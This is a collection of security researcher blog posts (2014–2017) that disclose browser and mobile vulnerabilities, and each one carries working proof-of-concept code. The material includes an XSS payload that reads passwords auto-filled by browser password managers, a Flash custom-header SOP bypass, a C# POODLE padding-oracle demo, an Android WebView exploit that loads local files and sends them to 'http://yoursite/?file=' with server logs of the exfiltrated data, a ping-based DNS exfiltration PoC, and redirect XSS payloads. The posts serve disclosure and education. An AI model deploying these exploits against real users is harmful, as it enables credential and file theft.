2017年1月23日月曜日

Password Stealing from Password Manager of Modern Browsers

Stealing passwords from McDonald's users became a topic of conversation. This article was translated and be mentioned in the Japanese web media. Of course, XSS is a typical security flaw and should be addressed, but it looks that McDonald's password manager issue is a just general issue of password manager.

Let's see password managers on modern browsers.
 Table. An attacker can steal stored user password on the password manager by XSS?

Auto filledCan be stealed?
IE11No (Requires user operation)Yes (Requires user operation) *1
Chrome 55.0.2883.87YesYes
Firefox 50.1.0YesYes
Safari 10.0.2No (Requires user operation)Yes (Requires user operation)
*1 IE's XSS filter is difficult to defeat if attack vector is reflected one.

Once Chrome or Firefox users save passwords to the password manager, an attacker can steal passwords by XSS. (Chrome doesn't allow read password field without user interaction when users move to XSSed page from a tag. But it seems that it is not intended behavior.)
In McDonald's case, an attacker must find encryption key and decrypt encrypted cookie but these password managers don't require complicated attack vectors. Just do XSS and read password field!

Step 1. Input your ID/password and submit them to the server.


Step 2. Save password to your browser.


Step 3.  XSS and steal password from auto filled password field.


I put my sample code described below on my test server: http://133.242.134.241/exploit/password_manager.php

If you want to XSS from other site, please try this.

Sample code:
<body>
<?php
if(!isset($_GET{"xss"}) && !isset($_POST{"pass"})) {
?>
Please submit id/pass to use password manager.
<form action="?" method="post">
<input name="id"><br>
<input type="password" name="pass">(use dummy password)<br>
<input type="submit">
</form>
<?php
}else {
?>
Please click below to fire XSS after save your password to password manager.<br>
<a href="#" onclick="location.href='?xss=%27%3bf=document.createElement(%27form%27)%3bf.action=%27login_exec%27%3bdocument.body.appendChild(f)%3bf.innerHTML=%27%3Cinput%20name=id%3E%3Cinput%20type=password%20name=pass%3E%27%3bi=setInterval(function(){p=document.forms[0].pass.value%3bif(p!=%27%27){alert(p)%3bclearInterval(i)}},100)%3b%27'">Fire XSS!</a>
<script>
  var a='< ?php echo $_GET{"xss"} ? >';
</script>
<?php
}
?>
</body>




2015年6月12日金曜日

Adobe Flash Player - Circumvent The Same-Origin Policy (CVE-2014-0580).

Flash Player limit cross domain access with arbitrary custom headers but there was a way to bypass it. I reported it October 2014 and fixed at December 2014.
I'd like to share details of CVE-2014-0580. Don’t expect too much. This vulnerability is very simple.

Flash Player prohibit cross domain access without permission by crossdomain.xml. When an attacker try to send cross domain http request with custom headers, Flash Player will confirm crossdomain.xml before sending cross domain http request. However, 307 redirect with crafted Location enable an attacker to send cross domain request before confirming crossdomain.xml.
*This scenario is almost same as CVE-2011-0059, probably.

Then, crafted Location header is like below:
HTTP/1.1 307 OK
Location: /     /www.abobe.com/
Note: this works only on chrome

"/\t/" is useful to bypass domain validation filter. You can test browser's behavior by using this test code:
javascript:location.href="/\t/www.example.com/";
Copy and Paste this script into a browser address bar or javascript console. You can see the top page of "www.example.com".


I confirmed this issue on Chrome and Safari.

Sample action script code:
var req:URLRequest = new URLRequest("./location_flash.cgi");
req.method = URLRequestMethod.POST;
var header:URLRequestHeader = new URLRequestHeader("Content-type", "haru/jetstream");
req.requestHeaders.push(header);
var header2:URLRequestHeader = new URLRequestHeader("X-Haru", "yes!");
req.requestHeaders.push(header2);
req.data = "{\"test\":1}";
var loader:URLLoader = new URLLoader();
loader.addEventListener(Event.COMPLETE, loaderCompleteHD);
loader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHD);
loader.dataFormat = URLLoaderDataFormat.TEXT
loader.load(req);
 
Server side sample code for Chrome: location_flash.cgi
#! /usr/local/bin/perl --
print "Status:307\n";
print "Location: /\t/www.adobe.com/\n\ntest";

Server side sample code for Safari on Mac: location_flash.cgi
#! /usr/local/bin/perl --
print "Status:307\n";
print "Location: //www.adobe.com/\n\ntest"; #No need to bypass the filter :-(

2014年10月20日月曜日

CBC Padding-Oracle Attack (aka POODLE)

CBC Padding-Oracle Attack was disclosed last week and it looks very critical one and technically interesting. Unfortunately, Man-In-The-Middle attacks with low layer trick are very difficult to understand and I've tried to reproduce this encryption logic flaw by using C#. It works on stand alone PC and I think this helps you understand how POODLE works.

When we use encryption with CBC, encrypted data is usually like below:

Cipher text consists of IV, encrypted data and padding. Usually, last block is encrypted data with padding. But, in the case of plain text data is multiple of block size, last block is only encrypted padding:
So, if you can know the padding algorithm, it is very easy to guess plain text of last block. ;-)
And SSLv3 padding algorithm verify only last byte of padding (padding length). Then, it is vulnerable to plain text attack. If an attacker can modify last block, he can guess last byte of other blocks' plain text by duplicating. If decryption succeed with modified block, last byte of the block is equal to padding length.
To achieve this attack, an attacker must control plain text length and position of
target secret data. So, it work on HTTP request because an attacker can insert both of path and body data.
And POODLE is reported as SSLv3 vulnerability but I think other systems have potential vulnerability if vulnerable parring is used.
If you want to confirm how this vulnerability works, combination of C# and ISO10126 padding is available. At first, I tried to use SSL3Padding of Java but SSL3Padding is just reserved and not implemented :-/

Sample Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace PaddingOracleAttack
{
    class Program
    {
        static void Main(string[] args)
        {
            String secure_key = "12345678901234567890123456789012";//An attacker doesn't need to know this
            int count = 0;
            int target_block = 5;
            String decrypted_cookie = "";
            String dummy_text = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
            while (true && decrypted_cookie.Length < 32)
            {
                ++count;
                try
                {
                    String sec_plain_text = "GET [path] HTTP/1.1\r\nCookie: session_id=0afba76ae8f76dbb2b7bd96fcec81888\r\n\r\n[body]";//This cookie is a target to guess
                    String compromized_text = sec_plain_text
                        .Replace("[path]", "/" + dummy_text.Substring(0, 13 + decrypted_cookie.Length))
                        .Replace("[body]", dummy_text.Substring(0, 44 - decrypted_cookie.Length));
                    //Encrypt
                    byte[] cipher = EncryptString(compromized_text, secure_key);
                    /* An attacker modify cipher text directly by MITM */
                    byte[] modifiedCipher = new byte[cipher.Length];
                    Array.Copy(cipher, 0, modifiedCipher, 0, cipher.Length - 16);
                    Array.Copy(cipher, 16 * target_block, modifiedCipher, cipher.Length - 16, 16);//Duplicate target block and over write by that.
                    //Decrypt
                    byte[] sec_decrypted = DecryptString(modifiedCipher, secure_key);
                    //Some verification is necessary
                    if (sec_decrypted.Length == compromized_text.Length)
                    {
                        //Get decrypted raw data by xor with known padding length
                        byte paddingLength = 0x10;
                        byte test1 = (byte)(cipher[cipher.Length - 16 - 1] ^ paddingLength);
                        //Get decrypted plain text
                        byte test2 = (byte)(cipher[16 * target_block - 1] ^ test1);
                        byte[] test3 = { test2 };
                        Console.WriteLine("Found: "+System.Text.Encoding.UTF8.GetString(test3));
                        decrypted_cookie = System.Text.Encoding.UTF8.GetString(test3) + decrypted_cookie;
                    }
                }
                catch (CryptographicException e)
                {
                }
            }
            Console.WriteLine("Answer:" + decrypted_cookie);
            Console.WriteLine("Count:" + count);
            Console.ReadLine();
        }
        public static byte[] EncryptString(string sourceString, string password)
        {
            AesManaged aes = new AesManaged();
            aes.BlockSize = 128;              // BlockSize = 16bytes
            aes.KeySize = 128;                // KeySize = 16bytes
            aes.Mode = CipherMode.CBC;        // CBC mode
            aes.Padding = PaddingMode.ISO10126;  // Padding mode is "ISO10126".
            aes.Key = System.Text.Encoding.UTF8.GetBytes(password);
            byte[] strBytes = System.Text.Encoding.UTF8.GetBytes(sourceString);
            System.Security.Cryptography.ICryptoTransform encryptor = aes.CreateEncryptor();
            byte[] encBytes = encryptor.TransformFinalBlock(strBytes, 0, strBytes.Length);
            encryptor.Dispose();
            byte[] result = new byte[aes.IV.Length + encBytes.Length];
            Array.Copy(aes.IV, result, aes.IV.Length);
            Array.Copy(encBytes, 0, result, aes.IV.Length, encBytes.Length);
            return result;
        }
        public static byte[] DecryptString(byte[] sourceString, string password)
        {
            byte[] decBytes;
            byte[] iv = new byte[16];
            Array.Copy(sourceString, iv, 16);
            byte[] encBytes = new byte[sourceString.Length - 16];
            Array.Copy(sourceString, 16, encBytes, 0, encBytes.Length);
            AesManaged aes = new AesManaged();
            aes.BlockSize = 128;              // BlockSize = 16bytes
            aes.KeySize = 128;                // KeySize = 16bytes
            aes.Mode = CipherMode.CBC;        // CBC mode
            aes.Padding = PaddingMode.ISO10126;  // Padding mode is "ISO10126".
            aes.Key = System.Text.Encoding.UTF8.GetBytes(password);
            aes.IV = iv;
            System.Security.Cryptography.ICryptoTransform decryptor =
                aes.CreateDecryptor();
            decBytes = decryptor.TransformFinalBlock(encBytes, 0, encBytes.Length);
            decryptor.Dispose();
            return decBytes;
        }
    }
}
Result: 

2014年10月1日水曜日

Same-Origin Policy Potential Issue of iOS UIWebView

I found same-origin policy potential issue on stringByEvaluatingJavaScriptFromString method of UIWebView. When you use this method at shouldStartLoadWithRequest with http redirect, javascript will be executed on wrong domain.
This is just potential issue. Practically, it is not security issue if developer doesn't made a mistake.

I tested about 100 browsers for iOS on AppStore. I found 3 browsers (and 2 branches of them) are vulnerable and I could bypass Same-Origin Policy. I think this is interesting but this is minor issue.

Vulnerable Sample WebView code:
- (BOOL)webView:(UIWebView *)webView
shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType {
  NSString *prefix = @"javascript:";
  //urlStr includes javascript like "javascript:alert('xss')"
  NSString *urlStr = request.URL.absoluteString;
  if ([urlStr hasPrefix:prefix]) {
    [webView stringByEvaluatingJavaScriptFromString:urlStr];
  }
  return YES;
}
Server side malicious sample code (perl):
#! /usr/local/bin/perl --
print "Location: javascript:alert(document.cookie)\n\n";
Steps to confirm this issue are below:
- Step. 1: Visit site A
- Step. 2: Visit site B
- Step. 3: Site B returns 302 redirect with 'javasctript:xxxx' in Location header
- Step. 4: Execute Javascript of site B

In this case, javascript must be executed on site B but iOS UIWebView execute site B's javascript on site A.
I tested this on google and JavaScript on my web site is executed on "www.google.co.jp" like below:
* This google page is redirect page for search result.

It looks wrong but is by design. :-/
Usually, developers use custom schemes in shouldStartLoadWithRequest. If you want to handle JavaScript in your code, please pay attention to this :-)

2014年9月21日日曜日

Android WebView Local File Access Restriction Bypass (CVE-2014-6041 and notfound trick)

Usually, web sites cannot open and access client's local file. However, 'file:' can be available by using 'notfound trick' and an attacker can get local file from remote web site. :-)

CVE-2014-6041
CVE-2014-6041 was disclosed by Rafay Baloch. This enables attackers to bypass Android browser and WebView SOP. Very interesting!
<iframe name="test" src="http://www.rhainfosec.com"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >
Since Android browser and WebView are strictly prohibit local file access from web sites on the Internet. For example, when you try to open 'file:/default.prop' by iframe on your web site, you can see just a white page. '\u0000file:xxx' also doesn't work.
But, by using notfound trick, you can open 'file:xxx' by iframe and CVE-2014-6041 enable us to access it's body.innerHTML.
Notfound trick
Notfound trick is quite easy. Just open 'http://notfound' by iframe:
<iframe src="http://notfound"></iframe>
Then, this iframe has escalated privilege. 

 

An attacker can open local files as Android browser. '/data/data/com.android.browser/*' is also readable like below:
There is no need to open target websites with iframe.

Android 2.X and 3.X are exploitable by only this notfound trick but I couldn't use it on Android 4.X. CVE-2014-6041 enables me to access body.innerHTML. And, probably, this trick is not known one.

Affected version
I tested this on my Android phone (4.0.4) and Android SDK emulator (4.1.2, 4.2.2). It works both of Android browser and WebView applications.
When I opened 'http://notfound/' with Android SDK emulator 4.4.2, I found the message 'E/browser ( 1067): Console: Not allowed to load local resource: file:///android_asset/webkit/android-weberror.png data:text/html,chromewebdata:12' at terminal log. It looks iframe failed to get escalated privilege. 

PoC
test.html:
<button onclick="iframe.src='http://notfound/'">Open http://notfound/</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://yoursite/exploit/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>
test.js:
var flag = 0;
function exploit2(){
  if(flag) {return}
  window.open('\u0000javascript:location.replace("http://yoursite/?file="+escape(document.body.innerHTML))','test2');
  flag = 1;
}
Server side logs:
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:05:58 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Android SDK built for x86 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"
XXX.XXX.XXX.XXX - - [21/Sep/2014:15:20:54 +0900] "GET /?file=%23%0A%23%20ADDITIONAL_DEFAULT_PROPERTIES%0A%23%0Aro.secure%3D0%0Aro.allow.mock.location%3D1%0Aro.debuggable%3D1%0Apersist.sys.usb.config%3Dadb%0A HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; sdk Build/JB_MR1.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30"
It works!



2014年9月20日土曜日

INTERNET Permission Bypass via Ping Command for Android 2.X (Sep. 2010)

Note: This article describes an old vulnerability of Android.

Although, It was already fixed on Android 4.X, I'd like to write article about this because I think this is very interesting technically.
I reported it to Google Sep. 2010 and be said my report makes no sense and is waste of time :-( But it looks be patched Nov. 2010 for 3.X and 4.X. Actually, I don't know this is still available or not for Android 2.X because I can't find discussion about this on the web. But I think still available on some devices.
I found this bypass on my Xperia SO-01B with Android 1.6. This is my first Android :-)
At that time, most of users' Androids were 2.X or 1.X and were affected by this.

Internet Permission
Generally, It is thought that Android handles all Android permission at Java. However, Android OS has a uid(AID_INET) to handle this permission.
For example, when you use nc command as an application which has no INTERNET permission, you will see permission error like below:
# su app_31
su app_31
$ nc www.google.co.jp 80
nc www.google.co.jp 80
www.google.co.jp: forward host lookup failed:  : Permission denied
However, vulnerable ping command allows applications that has no INTERNET permission to run ping command. Actually, when you run command as an application via adb shell, permissions are different from actual. This is an example of id command result:
uid=10035(app_35) gid=10035(app_35)
If this application has INTERNET permission, inet will be listed in this result:
uid=10038(app_38) gid=10038(app_38) groups=3003(inet)
Note: To confirm 'groups', you should run id command from Android application. Don't use adb shell.

Ping command
ping command requires elevated privilege to send and listen for control packets on a network interface. And old Android's ping command doesn't check uid. This means all application can run ping command with elevated privilege.
File permission of ping on Android:
-rwxr-sr-x root     net_raw     26708 2011-05-04 23:23 ping
As a result, attacker can receive ping command but this packet includes few useful information. However, ping command resolves domain names before send ping packet because cannot access to the server without IP address. If an attacker has DNS servers, he can receive useful DNS query from the client. So, an attacker can receive any messages via sub domain like 'ping message.example.com': 

And DNS servers can response arbitrary IP addresses, client application can receive attacker's command.

PoC:
public class PingActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_ping);
Runtime r = Runtime.getRuntime();
Process p;
try {
String message = "secret_message!";
p = r.exec("ping -c 1 -W 1 "+message+".example.com");
} catch (IOException e1) {
}
//ping result
    }
}








2014年9月15日月曜日

Minor XSS on Apache, IIS and WeBrick

Javanese version is available at here.

These days, response body of 302 redirect, like below, is difficult to see. Modern browsers can handle 302 redirect automatically.

However, if we can see this 302 redirect page with default settings, it is a little interesting.


ChromeIEFirefoxOpera(Presto)
NormalNGNGNGNG
BlankOKNGOKOK
about:blankNGNGNGOK
javascript:xxxNGNGNGOK(Excellent!)

Although, Opera announced it would drop its own Presto engine, minor web servers' xss flaw can be available.

Apache2.4.7+Perl
Vulnerable perl sample code: 
#! /usr/bin/perl --
use CGI;
my $cgi = CGI->new();
my $url = $cgi->param("url");
print "Location: ".$url."\n\n";
Normal response of Apache 302 redirect is below:
HTTP/1.1 302 Found
Date: Mon, 15 Sep 2014 13:24:05 GMT
Server: Apache/2.4.7 (Ubuntu)
Location: http://www.example.com/
Content-Length: 281
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.example.com/">here</a>.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
</body></html>
 It looks that famous XSS vactor '<a href="javascript:xxxx">' is available. Then, result is:

Provably, this 302 redirect response body is hard coded on apache source code.

IIS 7.5 (Windows7) + asp
Sample code:
<%
    Response.Redirect Request.QueryString("url")
%>
Result:


WEBrick/1.3.1
Response:
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: javascript:alert(0)
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: bb768842-983e-4ef8-b0e7-795193db1a96
X-Runtime: 0.007491
Server: WEBrick/1.3.1 (Ruby/2.1.2/2014-05-08)
Date: Sun, 06 Jul 2014 12:00:51 GMT
Content-Length: 85
Connection: Keep-Alive

<html><body>You are being <a href="javascript:alert(0)">redirected</a>.</body></html>
Very close! It doesn't work with Presto because of CRLF but works with FireFox5.

And I still have a minor alternative :)